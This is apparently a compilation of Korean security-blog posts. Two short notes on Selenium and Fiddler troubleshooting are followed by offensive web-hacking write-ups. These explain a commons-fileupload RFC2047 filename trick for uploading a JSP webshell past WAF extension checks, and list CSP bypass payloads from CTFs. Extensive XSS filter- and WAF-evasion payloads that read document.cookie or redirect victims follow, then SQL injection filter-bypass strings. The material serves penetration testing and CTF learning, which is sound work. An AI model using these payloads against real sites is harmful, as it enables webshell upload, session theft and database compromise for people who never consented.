셀레니움 봇 만드려는데 그냥 pip3 install selenium 하고 기존 쓰던 코드 적용하니 온갖 에러가 난다

 

1. webdriver-manager 적용시 최신 크롬 드라이버를 못찾아서 에러가남

 > pip3 install git+https://github.com/SergeyPirogov/webdriver_manager

# 최신 webdriver_manager를 설치함으로써 해결


2. webdriver-manager 최신버전은 python 3.7 이상버전이 필요

# python 3.7 이상 버전 설치

 


3. 드래그한 부분이 에러인데, TypeError: __init__() got multiple values for argument 'options'라고 뜬다.

실제론 options땜에 에러나는건 아니고 selenium 4.10이상(맞나?)부터 webdriver path 지정을 Service라는 애를 통해서 해야하는거로 변했다고한다(ㅡㅡ..)

 

 > from selenium.webdriver.chrome.service import Service

 > ...

 > self.driver = webdriver.Chrome(service=Service(ChromeDriverManager().install()), options=options)

 

# Selinum Service를 이용해서 ChromeDriverManager().install() 사용

 

 

4. 추가로 desired_capabilities도 deprecated됐는데 난 그냥 짜증나서 쓰고있던 desired_capabilities 기능을 빼고 썼다.

어떻게 options로 이관? 혹은 다른 방법을 통해 사용하는 지 아시는 분은 댓글 주시면 감사드리겠습니다..

* Fiddler Classic(Not Everywhere)

 

가끔 피들러를 사용하다보면 https 인증서때문에 말썽일 경우가 많다

 

보통 인증서 기간 만료, 인증서 기간이 너무 김, 인증서를 신뢰할 수 없음 등등의 에러인데

 

이럴 때 구글에 나오는 해결책(certenroll engine reset)으로도 안되는 경우에 빠져 잠시 헤매다 해결책을 찾아 공유한다.

 

(일반적인 해결책, 피들러 최신버전)

Tools - Options - HTTPS - Actions - Reset All Certificate

 

보통 위의 해결책으로 해결이 되어야하지만 이번에 내가 봉착한 케이스는 Reset All Certificate를 하면 피들러가 멈춰버리는 현상이 발생했다.

 

해결한 이후 그 이유를 유추해보면, Reset하는 과정에서, 피들러가 생성한 와일드카드 인증서들을 삭제해야하는데, 이러한 와일드카드 인증서 중 삭제가 안되어 피들러가 Exception에 빠져 멈춰버리는것 같다.

 

어쨌든 각설하여 이를 해결하기위해선 피들러가 설치한 와일드카드 인증서 및 피들러의 인증서(DO_NOT_TURST_FiddlerRoot)들을 모두 직접 삭제해주면 된다.

 

실행 - certmgr.msc

 ㄴ [개인용-인증서]에 존재하는 모든 와일드카드 인증서 삭제

 ㄴ [신뢰할 수 있는 루트 인증 기관]에 존재하는 모든 DO_NOT_TRUST_FiddlerRoot 인증서 삭제

 ㄴ .. 기타 경로에 존재하는 모든 피들러 인증서 삭제

 

이후 (일반적인 해결책)으로 돌아가 Reset All Certificate를 해주면 정상적으로 https 인증서를 발급해주는것을 확인할 수 있다.

 

 

(부들부들..)

JSP & Spring Framework로 구현된 웹 서비스에서 파일업로드 기능을 구현할 시 가장 흔히 사용되는 모듈이 commons-fileupload 모듈입니다.

악의적인 파일업로드 취약점을 트리거하여 공격하기 위해선 서버단에서 웹서비스가 해석하여 실행 가능한 확장자(ex. jsp, jspx, jspl, jsw ...etc..)로 업로드하여 서버내에서 임의 코드를 실행시킬 수 있어야 합니다.

하지만 많은 수의 서비스들은 확장자(ext)검사를 시행하고 있고, 이를 WAF(Web Application Firewall)에서 하는 경우가 많습니다.

또한, 확장자 검사를 시행한 후엔 파일 명을 randomizing 하여 보안성을 갖추는것이 일반적인 파일업로드 취약점 대응 방법입니다.

 


 

하지만 만약 확장자 검사를 코드 단이 아닌 WAF단에서만 수행을 하고, random으로 생성된 파일명이 공격자에게 노출된다면(꽤나 많은 케이스에서 이런 상황이 발견되는것 같습니다) commons-fileupload 모듈의 코드 구현 특징을 이용하여 이를 우회할 수 있습니다.

    @Override
    protected void doPost(HttpServletRequest request,  HttpServletResponse response)
            throws ServletException, IOException {

        response.setContentType("text/html; charset=UTF-8");
        request.setCharacterEncoding(CHARSET);
        PrintWriter out = response.getWriter();

        File attachesDir = new File(ATTACHES_DIR);

        DiskFileItemFactory fileItemFactory = new DiskFileItemFactory();
        fileItemFactory.setRepository(attachesDir);
        fileItemFactory.setSizeThreshold(LIMIT_SIZE_BYTES);
        ServletFileUpload fileUpload = new ServletFileUpload(fileItemFactory);

        try {
            List<FileItem> items = fileUpload.parseRequest(request);
            for (FileItem item : items) {
                if (item.isFormField()) {
                    System.out.printf("파라미터 명 : %s, 파라미터 값 :  %s \n", item.getFieldName(), item.getString(CHARSET));
                } else {
                    System.out.printf("파라미터 명 : %s, 파일 명 : %s,  파일 크기 : %s bytes \n", item.getFieldName(),
                            item.getName(), item.getSize());
                    if (item.getSize() > 0) {
                        Object fileName = new File(item.getName()).getName();
                                                fileName = this.makeFn((String)fileName) + "." + this.getExt((String)fileName); // makeFn -> make random filename
                                                String filePath = uploadPath + File.separator + (String)fileName;
                                                File storeFile = new File(filePath);
                                                item.write(storeFile);
                    }
                }
            }
              out.println("<h1>파일 업로드 완료</h1>");
         } catch (Exception e) {
            // 파일 업로드 처리 중 오류가 발생하는 경우
            e.printStackTrace();
            out.println("<h1>파일 업로드 중 오류가  발생하였습니다.</h1>");
        }
    }

출처: https://dololak.tistory.com/720 [코끼리를 냉장고에 넣는 방법]
private String getExt(String fileName) {
    if (fileName.lastIndexOf(".") == -1)
      return "noext"; 
    fileName = fileName.substring(fileName.lastIndexOf(".") + 1).trim();
    if ("".equals(fileName))
      return "noext"; 
    return fileName.substring(fileName.lastIndexOf(".") + 1);
  }

위의 코드는 구글commons-fileupload 라고 검색하였을때 나오는 '기본 예제 코드'에 파일 확장자 검사 코드를 추가한 코드입니다.

실제 코드상으로는 WAF에서 확장자 검사를 하여 .jpg.png 등 허용 확장자만 whitelist로 관리하고 있다면 보안 취약점이 발생하지 않는 것으로 보입니다. 또 실제로 저도 이 기법을 접하기 전까진 해당 상황에선 취약점 익스플로잇이 불가능하다고 생각을 해왔었습니다.

하지만 문제는 commons-fileupload 모듈이 버전 1.3부터 RFC2047지원한다는 데에서 시작됩니다.

RFC2047MIME (Multipurpose Internet Mail Extensions) Part Three: Message Header Extensions for Non-ASCII Text에 대한 명세인데, Non ascii text에 대해서 인코딩 방식을 요청자가 지정하여 인코딩하여 전송하고, 응답자는 이를 디코딩하여 해석한다는 내용이 주를 이룹니다.

이를 commons-fileupload 모듈에서 적용하게된 내용을 간략한 코드흐름으로 살펴보면,

와 같이 진행됩니다.

RFC2047에서 명세된 인코딩 형식은 =?" charset "?" encoding "?" encoded-text "?= 입니다.

이 중 encoding 방식에 대한 설명은 아래와 같습니다

 

4. Encodings

   Initially, the legal values for "encoding" are "Q" and "B".  These
   encodings are described below.  The "Q" encoding is recommended for
   use when most of the characters to be encoded are in the ASCII
   character set; otherwise, the "B" encoding should be used.

     ...중략...

     4.1. The "B" encoding

   The "B" encoding is identical to the "BASE64" encoding defined by RFC

 

인코딩은 평문(Q)와 Base64(B)를 지원하고 있습니다. 이를통해 some_webshell.jsp에서 .jsp와 같은 문구를 잡아내는 WAF를 우회할 수 있습니다.

하지만 여전히 WAF에서 맨 마지막 확장자를 검사하는 로직은 우회하지 못하였습니다.

이는 commons-fileupload에서 RFC2047을 구현한 특징으로 우회할 수 있습니다.

decodeText() 메서드 중 인코딩 형식의 문자열 파싱 부분을 살펴보면 int encodedTextPos = word.indexOf(ENCODED_TOKEN_FINISHER, encodingPos + 1);로 encodedTextPos를 설정하고, 이후 진행되는 코드에서 인코딩 된 영역만 가져와 디코딩 후 파일 이름으로 가져오기 때문에

=?UTF8?B?c29tZV93ZWJzaGVsbC5qc3A=?=.jpg 와 같은 형식으로 인코딩 영역이 끝난 부분에 .jpg를 삽입하게 되면 실제 jsp에서 파일명을 파싱할 시 이 부분이 무시됩니다.

 


 

여기까지 진행됐다면, WAF에서 수행하는 1. '.jsp'와 같은 문자열 포함 검사, 2. lastIndexOf('.') 등을 통한 업로드 취약점 검사를 모두 우회할 수 있습니다.

이후에 jsp 코드에선 정상적으로 some_webshell.jsp로 파일이 생성되기 때문에 웹쉘을 업로드하는데 성공할 수 있게 됩니다.

 


 

개인적으로도 파일 업로드 취약점 진단 시 commons-fileupload 모듈이 많이 사용되고있는걸 느꼈는데 이런 기법이 있었다는걸 몰랐어서, 내용을 보고 많이 놀랐기도 하여 해당 내용을 접하자마자 급히 글을 작성하여 업로드 하게 되었습니다.

 

 

해당 글은 2019년 CCE(사이버 공격방어대회)에 출제한 ENKI공식 라이트업을 참조하여 작성되었습니다.

 

 

참고문헌 : https://enki.co.kr/blog/2020/02/27/cce_writeup.html?fbclid=IwAR0ztC_wshd_DHvIA-HBMh_F99TdqkPiqyGyBu_WfP6Id-2TPTPPp_uPkZY

codegate 2020 CSP 문제 풀다가 관련 우회기법 정리해야겠다 싶어서 대충 정리해서 올려봅니다.

추가로 알게되는 정보가 있으면 업데이트 할게요~~

 


 

CTFZone 2019

 - Script nonce : cache poisoning 

  * /index.php/ 등을 이용해 cache poisoning  하여 csp script nonce를 고정

 

 

Codegate 2020

 - Script none : Header Injection - Status Code 102

  * Status Code 102 일때는 CSP가 동작하지 않는점을 이용

  * header("HTTP/: 102");

 

--

 * Script nonce : css injection의 정규표현식으로 attribute에 접근 할 수 있는 것을 이용, 한글자씩 searching 해서 script nonce를 가져옴

https://lbherrera.me/solver.html

http://sirdarckcat.blogspot.com/2016/12/how-to-bypass-csp-nonces-with-dom-xss.html

 

 * chromium 74 dev

 - import maps 이용 csp bypass

 

https://bugs.chromium.org/p/chromium/issues/detail?id=941340

https://test.shhnjk.com/imap.php

 

 * chromium 78

https://test.shhnjk.com/unxssable.php?xss=%3Ciframe%20srcdoc=%22%3Cscript%3Ealert(origin);window.stop()%3C/script%3E%3Cmeta%20http-equiv=refresh%20content=%270;url=https://shhnjk.azurewebsites.net/csp_srcdoc.html%27%3E%22%3E%3C/iframe%3E

@shhnjk

 

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>

@akita_zen

 

<script ?/src="data:+,\u0061lert%281%29">/</script>

@404death

 

 * 동일 및 신뢰 도메인에서 스크립트 실행이 가능한 페이지에서 불가능한 페이지에 스크립트를 실행시켜야 할 때

  - Same or Trusted domain ( script-src 'self' // script-src 'a.com' )

  - script-src 'self' unsafe-inline 

  - nginx 400 error, favicon.ico / robots.txt 등의 404 페이지를 임베딩해서 스크립트 삽입 가능

 - Request URI Too Big 에러도 활용 가능

 - Cookie max size 에러도 활용 가능

https://www.slideshare.net/ssusera0a306/volgactf-2018-neatly-bypassing-csp

 

   * Click Jacking 비슷하게 dangling markup을 이용한 csp bypass(라기보단 dom code 내 중요정보 탈취쯤 될듯)

 

http://portswigger-labs.net/dangling_markup/?x=%3Ca%20href=http://subdomain1.portswigger-labs.net/dangling_markup/name.html%3E%3Cfont%20size=100%20color=red%3EYou%20must%20click%20me%3C/font%3E%3C/a%3E%3Cbase%20target=%22blah

 

  * angular js 등 front-end framework의 cdn을 이용한 csp bypass

 

<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26 .. 

 

ng-app"ng-csp ng-click=$event.view.alert(1337)><script src =//ajax.googleapis.com/ajax ...

 

etc...

 

최근 브라우저의 자바스크립트 엔진이 ecma script 2019(es10) 까지 업데이트 되며 많은 요소와 기능들이 추가되었습니다. 따라서 기존 javascript가 아닌 최신 ecma script 표준으로 인한 xss filtering bypass 기법들이 신설되고 있습니다. 이러한 내용들에 대해 공유하고 그 원리에 대해 간단히 설명드릴까 합니다.

 


 

XSS(Cross-Site Scripting) 취약점은 주로 사용자의 unvalid input이 브라우저의 dom 내부에 삽입되거나, 모종의 javascript 동작으로 인하여 공격자가 원하는 코드를 임의로 실행시키거나, 코드 실행의 흐름을 변경하는 취약점입니다.

대다수 경우 XSS 취약점을 방어하기 위해 하기와 같은 방어기제를 둡니다.

 


 

  1. 코드단에서의 필터링

사용자에게 파라미터를 전달받아 이를 dom에 뿌려야 하는 경우 사용자의 파라미터를 검증(validation)하여 XSS 공격에 사용되는 문구나 문자가 있을 경우 요청을 거절하거나 해당 문구/문자를 삭제합니다.

대표적으로 "(Double Quote), '(Single Quote), `(Back Quote), <(Left Angle Bracket), >(Right Angle Bracket) 등의 문자, script, alert, eval, onerror 등의 HTML Tag 및 Attribute 등이 대상입니다.

XSS 필터링 솔루션을 통해 필터링 하거나, 아니면 자체적으로 구현한 XSS Filter Function을 통해 필터링 하게 됩니다.

예를들어 Java 웹 서버의 경우 <% String param1 = request.getParameter("param1").replaceAll("script", ""); %> 와 같이 대치하거나, 문자열을 찾을 경우 파라미터를 비워버리는 등 다양한 필터링 동작을 구현할 수 있습니다.

 

  1. 웹방화벽(WAF)에서의 필터링

코드단에서의 필터링과 동일하게 특정 문구나 문자가 있을 경우 사용자의 요청을 거절합니다.

웹방화벽에서의 필터링은 코드단에서보다 해당 서버의 페이지에 전역적으로 적용되기 때문에 일반적으로 문자에 대한 필터링보단 HTML Tag나 Attribute와 같은 문구에 대한 필터링이 강한것이 특징입니다.(경험상)

replace등의 동작은 거의 수행하지 않고 block을 통해 공격을 막는 것 같습니다.

 


 

최근 잘 방어된 사이트의 경우 거의 대부분의 HTML Tag와 Attribute가 필터링 목록에 들어가있습니다. 이런 경우엔 DOM XSS 라 불리우는 ?param="><script>alert('xss');</script> 와 같이 HTML Tag를 직접 삽입해야 하는 XSS는 대부분 필터링에 걸려 실행되지 않습니다. (추가로 이렇게 HTML TAG를 직접 입력해야 하는 경우 클라이언트 단의 브라우저 XSS Auditor에 탐지되어 일부 특수 케이스를 제외하곤 스크립트가 실행되지 않습니다. 이러한 경우 실제 공격을 수행하기 위한 weaponizing은 무리가 있습니다.)

따라서 이렇게 필터링이 심하게 걸려있는 상황에서 XSS 취약점이 발생하는 경우 중 하나로 <script> 태그 영역 내에 사용자의 입력이 "제한없이" 삽입되는 경우입니다. 여기서 말한 "제한없이"는 웹방화벽에서의 필터링은 걸려있어도 코드단에서 필터링이 존재하지 않거나 미비하여 내가 원하는 코드 흐름을 만들 수 있는 경우를 뜻합니다. 예시와 함께 설명하겠습니다.

 


 

XSS Vuln Code Example

<script>
var username = "<%=request.getParameter("username")%>";
alert(username+"님 로그인 하셨습니다.");
</script>

 


 

위와 같은 경우 username 파라미터에 "(Double Quote) 문자를 삽입하여 script 태그 내의 문자열에 삽입되던 파라미터가 문자열을 벗어나고 임의 스크립트를 실행시킬 수 있게 됩니다.

하지만 이는 필터링이 하나도 없는 경우이고 코드단 필터링이나 웹방화벽에서의 필터링이 존재한다면 해당 문자 및 문구를 사용하지 않고 코드흐름을 제어해야 합니다.

본 글에선 해당 상황에서 쓰일 수 있는 유용한 필터링 우회 구문들을 몇가지 소개하고자 합니다.

 


 

alert 등, javascript 내장함수의 실행을 정규식으로 필터링하는 경우

 a=alert; a(document.domain); 

javascript에서의 함수(Function)는 Object의 종류 중 하나입니다. javascript에서의 Object는 객체로써 변수에 해당 Object를 할당해줄 수 있습니다.

따라서 변수 a에 alert (내장함수)를 할당하고, 이를 호출함으로써 alert(document.domain)을 위와 같이 표현할 수 있습니다.

정규식을 통해 (ex. /alert(.+)/) 특정 함수의 실행을 막고있다면 위와같이 우회가 가능합니다.

이하는 위와 설명이 같음

 a=eval; b="aler"; c="t(documen"; d="t.domai"; e="n)"; a(b+c+d+e); 
 a=eval; a(atob("YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ==")); 

 


 

Quote를 사용할 수 없는 경우

 eval(8680439..toString(30)+String.fromCharCode(40,49,41)) 

Int..toString(Int) 는 앞의 숫자를 문자열 형식으로 바꾸는데, 인자로 진법을 넘깁니다. 즉 여기선 30진법으로 해석해서 문자열로 치환하라는 명령어입니다.

String.fromCharCode(int, int) 는 인자로 전달된 decimal integer 형식의 숫자들을 문자로 치환하여 concatenation 하여 반환합니다.

따라서 위의 명령어는 eval("alert(1)") 과 동일합니다.

 eval(/aler/.source+/t(1)/.source) 

javascript에서 / 사이에 있는 문자열은 정규식 표현입니다. 정규식은 Object 타입의 일종으로, 그 하위 함수 중에는 문자열로 type을 변경할 수 있는 .source attribute가 존재합니다.

Quote(Single, Double, Back) 없이 따라서 문자로 된 정규식 표현을 .source attribute를 통해 문자열로 치환된 정규식 문자를 얻을 수 있습니다.

file

 


 

괄호를 사용할 수 없는 경우

Set.constructor`alert\x28document.domain\x29``` 

Set : Javascript 내장 함수, 여기선 Set을 사용하였지만 다른 아무 내장함수를 넣어도 다 가능합니다

constructor : Set이라는 함수의 생성자를 설정합니다.

` : Back Quote는 함수에 인자를 전달함과 동시에 함수를 실행할 수 있습니다. 위의 구문을 괄호와 따옴표를 사용하여 표현해보면
Set.constructor("alert(document.domain)")() 와 같습니다.

\x28, \x29 : Ecma Script에서는 Hex Ascii String과 Unicode String, Octal String에 대하여 Auto Typecasting을 지원합니다.

\x28 == \u0028 == \50

따라서 Javascript의 내장 함수 Set의 생성자 함수의 동작을 alert(document.domain)으로 설정하고, 해당 Set 함수를 실행(``) 해줌으로써 생성자 함수가 동작하도록 하여 공격자가 원하는 임의 스크립트를 실행시킬 수 있는 것입니다.

이하는 위와 설명이 같음

Set.constructor`alert\`document.domain\```` 
Set.constructor`alert\u0028document.domain\u0029``` 
 setTimeout`alert\x28document.domain\x29` 
 setInterval`alert\x28document.domain\x29` 

 

 


 

문구 필터링 + Quote 필터링 + 괄호 필터링

 _=URL+0,/aler/.source+/t/.source+_[12]+/documen/.source+/t.domai/.source+/n/.source+_[13]instanceof{[Symbol.hasInstance]:eval} 

앞에서부터 살펴보겠습니다.

URL은 내장함수입니다. 함수(Function)는 javascript에서 Object입니다. Object와 String 타입간의 더하기 연산이 일어났을 땐 Object.toString() 메서드를 우선 실행하여 Object 자체를 문자열로 Type Casting 한 후 String 문자열과 더해줍니다.

file

따라서 위의 그림과 같이 문자열로 변하게 됩니다. 이와같은 동작을 수행한 이유는 괄호가 필터링 되어있기 때문에, 괄호를 쓰지 않고 괄호 문자를 얻기 위해서입니다.

_ 변수에 해당 문자열이 할당되었습니다. _[12] == (, _[13] == )

위에서 살펴봤듯이, 정규식을 이용하여 문자열을 획득 및 더해줄 수 있습니다. 이러한 연산을 통해 "alert(document.domain)"이라는 문자열을 얻었습니다.

최신 Ecma Script에선 기존 String, Integer 등 자료형 외에 Symbol이라는 자료형이 신설되었습니다.

 

 

file

 

 

이 Symbol 자료형의 속성 중 hasInstance라는 속성이 존재합니다. 해당 Symbol 객체가 instance 인지 판단하여 이후 동작을 재정의 할 수 있는 속성입니다.

위의 코드를 조금 더 보기 쉽게 표현해보겠습니다.

"alert(document.domain)" instanceof { [Symbol.hasInstance] : eval }

{ } 는 Object입니다. 이 Object의 Symbol.hasInstance 속성(해당 객체가 instance 라면 동작할 코드)을 eval로 정의하였습니다.

그리고 "alert(document.domain)" 문자열을 instanceof 연산자를 통해 뒤의 객체 {}가 instance인지 묻고, 이 객체(Object)가 instance라면 위에서 정의한 eval의 인자로 문자열을 넣어 호출하고 그 결과를 반환합니다.

따라서 결과적으로 eval("alert(document.domain)") 이 되게 됩니다.

이와 비슷한 원리로 이루어지는 코드들은 아래와 같습니다.

 _=URL+0,Array.prototype[Symbol.hasInstance]=eval,/alert/.source+_[12]+1+_[13]instanceof[] 
 _=URL+!0+!1,Array.prototype[Symbol.hasInstance]=eval,_[19]+_[38]+_[40]+_[33]+_[4]+_[12]+1+_[13]instanceof[] 
 Event.prototype[Symbol.toPrimitive]=x=>/javascript:0/.source+location.search,onload=open 

위 코드는 조금 다른 내용이 섞여있어 코멘트를 달겠습니다.

location.search는 uri에서 ? 이후 부분을 지정합니다.

javascript: scheme을 통해 해당 scheme으로 페이지를 이동시킨다면 이후 임의 자바스크립트 코드를 실행할 수 있습니다.

위 코드를 해석해보면,

Event 내장함수의 prototype(생성자)의 Symbol.toPrimitive의 반환값을 함수 호이스팅과 Arrow Function을 통해 /javascript:0/.source+location.search로 설정합니다.

위에서 설명했듯이 기존 Ecma Script의 자료형은 String, Integer, Undefined, Null, Boolean 이렇게 5가지 였습니다.

Ecma Script6 부턴 이를 Primitive Type이라 칭하고 이에 Symbol이라는 자료형을 새로이 추가하였습니다.

Symbol은 기존 Primitive Type과는 조금 다른 성격의 자료형입니다. 자세한 내용은 아래 블로그를 참고해주시기 바랍니다.

Symbol 자료형 관련 참고 블로그

 

[ES6] 8. Symbol

Blog posted about front end development

jaeyeophan.github.io

file

 

 

Symbol 타입이 기존 primitive type과 일치할 시 이로 변환해주는 attribute method가 Symbol.toPrimitive method 입니다.

Symbol.toPrimitive 메서드의 반환값은 Arrow Function과 함수 호이스팅을 통해 설정되어있습니다. "javascript:0"+location.search

onload=open 구문을 통해 document.onload의 동작을 open 함수로 지정하고 있습니다.

onload는 Event 속성이므로 Event 내장함수가 실행되며 이의 prototype에 설정되어있던 Symbol.toPrimitive가 실행되게 됩니다.

open 내장 함수가 toPrimitive method를 거치며
open(x => /javascript:0/.source+location.search)
-> x = function(x){return /javascript:0/.source+location.search}; open(x);
->open(/javascript:0/.source+location.search)와 같은 구문으로 변하게 됩니다.

공격자가 uri의 링크를 https://ar9ang3.com/test.html?0:alert('xss')//&param1=foo&param2=bar 와 같이 설정 후 xss를 트리거했다면,

location.search의 값은 ?0:alert('xss')//&param1=foo&param2=bar가 되고,
전체 문자열은 javascript:0?0:alert('xss')//&param1=foo&param2=bar가 되게 됩니다.

0?0:alert('xss') 이후 문자열은 주석으로 인해 사라지고, 이는 3항연산의 표현식이기때문에 false?false:alert('xss')로 변하게 되어 결국 공격자가 원하는 자바스크립트 구문이 실행되게 됩니다.

 


 

지금까지 위에 적힌 구문들 외에도 무수히 많은 방법으로 필터링을 우회할 수 있습니다. 혹 새로운 우회기법이 생각나셨다면 공유해주시면 감사하겠습니다.

읽어주셔서 감사합니다.

Reference*
xss-cheatsheet_posix

[Summary]


본 글은 각종 모의해킹 및 버그바운티 시 XSS 취약점을 분석하며 얻은 경험을 토대로 작성한 글입니다.

서버 소스코드단의 필터링 및 네트워크단의 WAF 필터링 등을 우회하여 XSS Exploit을 성공시키기 위한 기법들을 일부 정리하였습니다.



[Example 1]


조건 1

https://ar9ang3.com/?param1=abc로 요청했을 시(지금은 GET으로 보냈지만 POST일 경우에도)


조건 2

서버단에 요청한 URI가 직접 javascript단으로 삽입될 경우


<script>

document.location.href = 'https://ar9ang3.tistory.com/?param1=abc';

</script>


제약조건 3

%3b(;), %2b(+)가 WAF단에서 필터링되어 document.location.href= 등을 벗어나지 못할 경우



우회 및 XSS 트리거 코드 1 (Reflected XSS)

문자열 - Native Function - 문자열 을 수행할 시 문자열의 결과를 연산하는 과정에서 Native Function이 실행되게 됩니다. 때문에 document.location="abc"-alert(document.cookie)-"def"; 와 같은 구문이 있을 시 document.location의 결과와는 상관 없이 alert(document.cookie) 구문이 실행되게 됩니다.


{example}

?param1=abc'-alert(document.cookie)-'def


<script>

document.location.href = 'https://ar9ang3.tistory.com/?param1=abc'-alert(document.cookie)-'def';

</script>


우회 및 XSS 트리거 코드 2 (Redirect to other Site)

위의 트리거 코드 1과 비슷하지만 && 연산자를 이용한다는 점이 다릅니다. 


?param1=abc'&&'https://ar9ang3.com/


<script>

document.location.href = 'https://ar9ang3.tistory.com/?param1=abc'&&'https://ar9ang3.com/';

</script>


이와 같이 우회가 가능하다.



우회코드 1번의 경우 document.location.href 뒤의 문자열이 문자열 - alert(1)의 결과값 - 문자열이 되고, 문자열 - 문자열(상수)는 NaN이 됨으로 host의 /NaN으로 요청하게 된다. 하지만 이 중간에 alert에 해당하는 곳에 코드가 실행되게 된다.


우회코드 2번의 경우 문자열 && 문자열 을 할 시 뒤의 문자열이 최종적으로 적용되기 때문에 최종적으론 뒤에 적어놓은 문장으로 document.location.href가 동작하게 됨으로 내가 원하는 페이지로 redirect 시킬 수 있다.



WAF Bypass Tips


. 을 필터링 할 시

document.cookie => document['cookie']


(" ")를 필터링 할 시

eval("alert(1)") => eval[alert(1)]


;나 +를 필터링 할 시

'abc'-alert(1)-'def' => 함수 실행 후 정상 문자열을 대입하여야 할 때 => 'abc'-alert(1)^1&&'normal_string_here'


종합해보면


'abc'-eval[alert(document['cookie'])]^1&&'normal_string_here'


document.location.href 의 문자열에 대입해보면


document.location.href = 'abcdef?param1=haha'-eval[alert(document['cookie'])]^1&&'https://ar9ang3.com/';




More Filtering Bypass tips


임의의 자바스크립트 구문을 삽입할 수 있다고 가정하였을 때 우리는 두 가지를 생각하여야 합니다.


 1. 삽입된 자바스크립트 구문으로 인하여 '자바스크립트 문법 에러'가 유발되지 않는지

 2. 삽입하는 자바스크립트 구문이 필터링되지 않는 지



<< 1. 삽입된 자바스크립트 구문으로 인하여 '자바스크립트 문법 에러'가 유발되지 않는지>>

1번의 경우엔 jsbeautifier, sublimetext와 같은 beautify 혹은 ide툴을 통해 문법에러를 찾아내고(괄호 에러 등), 에러가 나서 자바스크립트 구문이 정상적으로 실행되지 않는다면 크롬의 개발자도구 콘솔창에 나타나는 자바스크립트 에러메세지를 확인하여 문법 에러를 찾아 낼 수 있습니다. 예를들어보면 아래와 같습니다.


 try {

    if ('injection'==<%=request.getParameter("param")%>) {

        var a = "%inject here%";

    }

    var f = function(x) {

        var z = {

            a : 1,

            b : 2,

            c : 3

        };

        return a;

    }

} catch (e) { 

    console.log("err");

}


위와같은 구문에서 inject here에 우리가 원하는 임의의 자바스크립트 구문을 넣을 수 있다고 해봅시다. try 구문 안에있는 if 구문 안에 var a를 선언하는 과정에서 injection이 발생하였습니다. 우리가 원하는 스크립트를 실행시키기 위해선 if 조건과 상관없이 동작하도록 자바스크립트 코드를 재구성하여야 합니다.


[Method 1]




첫번째 방법은 문법을 맞춰주는것입니다. 구문에 맞게 모두 삽입하면 정상적으로 자바스크립트 코드가 실행되는것을 볼 수 있습니다.


[Method 2]


두번째 방법은 아래와 같습니다.


 try {

    if ('injection'==<%=request.getParameter("param")%>) {

        var a = "blahblah";

    }

} catch(e) { }

alert(document.cookie);

</script>

<noscript>";

    }

    var f = function(x) {

        var z = {

            a : 1,

            b : 2,

            c : 3

        };

        return a;

    }

} catch (e) { 

    console.log("err");

}

</script>와 <noscript>를 삽입할 수 있을 시 위와같은 구문으로 대충 닫는것만 맞춰주고 스크립트를 실행시킨 후 스크립트 태그를 닫아버리고 noscript를 동작시키는것입니다.



위에 소개된 방법 외에도 xss가 터지는 상황은 워낙에 다양하기 때문에 그 상황상황에 맞춰 Exploit을 하여야 합니다. 만약 우리가 입력한 파라미터가 html 스크립트 내에 두곳으로 들어가게 되고, 이로인해 에러가 유발된다면 `(Back Quote)를 이용하여 두 삽입지점 사이의 모든 코드를 문자열로 만들거나 /* */와 같은 주석 코드를 이용하여 두 삽입지점 사이의 모든 문자를 무효화 할 수도 있습니다. 이와같이 다양한 방법으로 자바스크립트 문법 에러를 회피할 수 있습니다.




<<2. 삽입하는 자바스크립트 구문이 필터링되지 않는 지>>


필터링되는 문자열은 다양합니다. <, >, ', ", (, ), `, ;, %, &, +


위와같은 Character가 필터링 되어있을 시 우회하는 방법에 대해 일부 소개하고자 합니다.


Example Code

 -> alert(document.cookie);


alert와 같은 native function 자체를 필터링 할 시

 var a=alert; a(document.cookie);


document.cookie 등을 필터링 할 시

 var a='alert'; var b='(documen'; var c='t.cooki'; var d='e)'; var e=eval; e(a+b+c+d);


무언가 문자열을 필터링할 때

 var a=eval; a(atob("YWxlcnQoZG9jdW1lbnQuY29va2llKQ=="));

 BASE64로 인코딩 후 실행


' / "를 필터링 할 시

 ?param_a=\&param_b=;alert(document.cookie);var%20z='

 var a='\'; var b=';alert(document.cookie);var z='';


( ) 괄호를 필터링 할 시

 alert`123`;

 btoa.constructor`alert\x28document.cookie\x29```

  -> 이에대해 조금 더 설명하자면, `(back quote)는 살짝 특별한 Character이다. 문자열을 만들때도 사용할 수 있으며, 함수를 실행할 때 인자를 alert`123`; 처럼 줄 수도 있다. 때문에 이에 대해 조금더 언급하면, btoa와 같은 Native function의 constructor method를 이용하여 인자로 문자열로 된 스크립트 구문 을 전달하면 btoa의 constructor function으로 스크립트가 지정된다. 이후 `(back quote)를 두번 써줌으로써 btoa를 실행시키게 되고, 이로인해 앞에서 저장한 스크립트 구문이 실행되게 된다. 또한 자바스크립트에선 \x28과 같은 Ascii hex를 자동으로 converting 해주기 때문에 \x28, \u28, \u0028과 같은 구문들이 문자열 내에서 자동으로 ascii charcter로 변환되게 된다. 때문에 최종적으로 alert(document.cookie) 구문이 실행되게 된다.






여러가지 상황에서 XSS를 성공시키는 법에 대해 알아보았는데, 솔직히 XSS의 경우 Mitigation 구현도 다양하고 삽입되는 위치와 상황도 모두 다 다양합니다. 때문에 천편일률적인 우회 기법이 아니라 그때그때 상황에 맞추어 우회하는것이 중요하다고 생각합니다. 최근 한글 XSS, 가타카나 XSS등과 같은 내용들도 보았는데, 이처럼 새로운 방법들이 계속해서 나오고 있습니다. 이러한 내용들까지 모두 언급하지는 않고 이정도로만 작성하고 마치도록 하겠습니다.




지금까지 웹해킹 워게임을 풀면서 깨달은(?) 우회기법을 정리하려 합니다.

모두 수기로 기억나는대로 작성하다보니 빠진 부분도 있을 것 같습니다.

기억나는대로 추가해서 수정하겠습니다.



 - or, and

  : ||, &&


 - String Filtering (Ex. preg_match - admin 등)

  : admin -> 0x61646d696e, 0b0110000101100100011011010110100101101110, char(0x61, 0x64, 0x6d, 0x69, 0x6e)

   * char()의 경우 타 진법으로도 사용 가능


 - Blind SQL Injection 시 '='(Equal) Filtering

  : substr('abc',1,1)like('a'), if(strcmp(substr('abc',1,1),'a'),0,1), substr('abc',1,1)%20in('a')


 - substr filtering

  : right(left('abc',1),1), id>0x41444d4941 ('ADMIN'은 'ADMIA'보다 hex값이 크다)


 - ereg, eregi

  : 'admin' 필터링 시 'AdmIN' 등으로 우회 가능

  : 맨 앞에 %00을 삽입 시 뒤의 문자가 필터링 되지 않음


 - replace, replaceAll

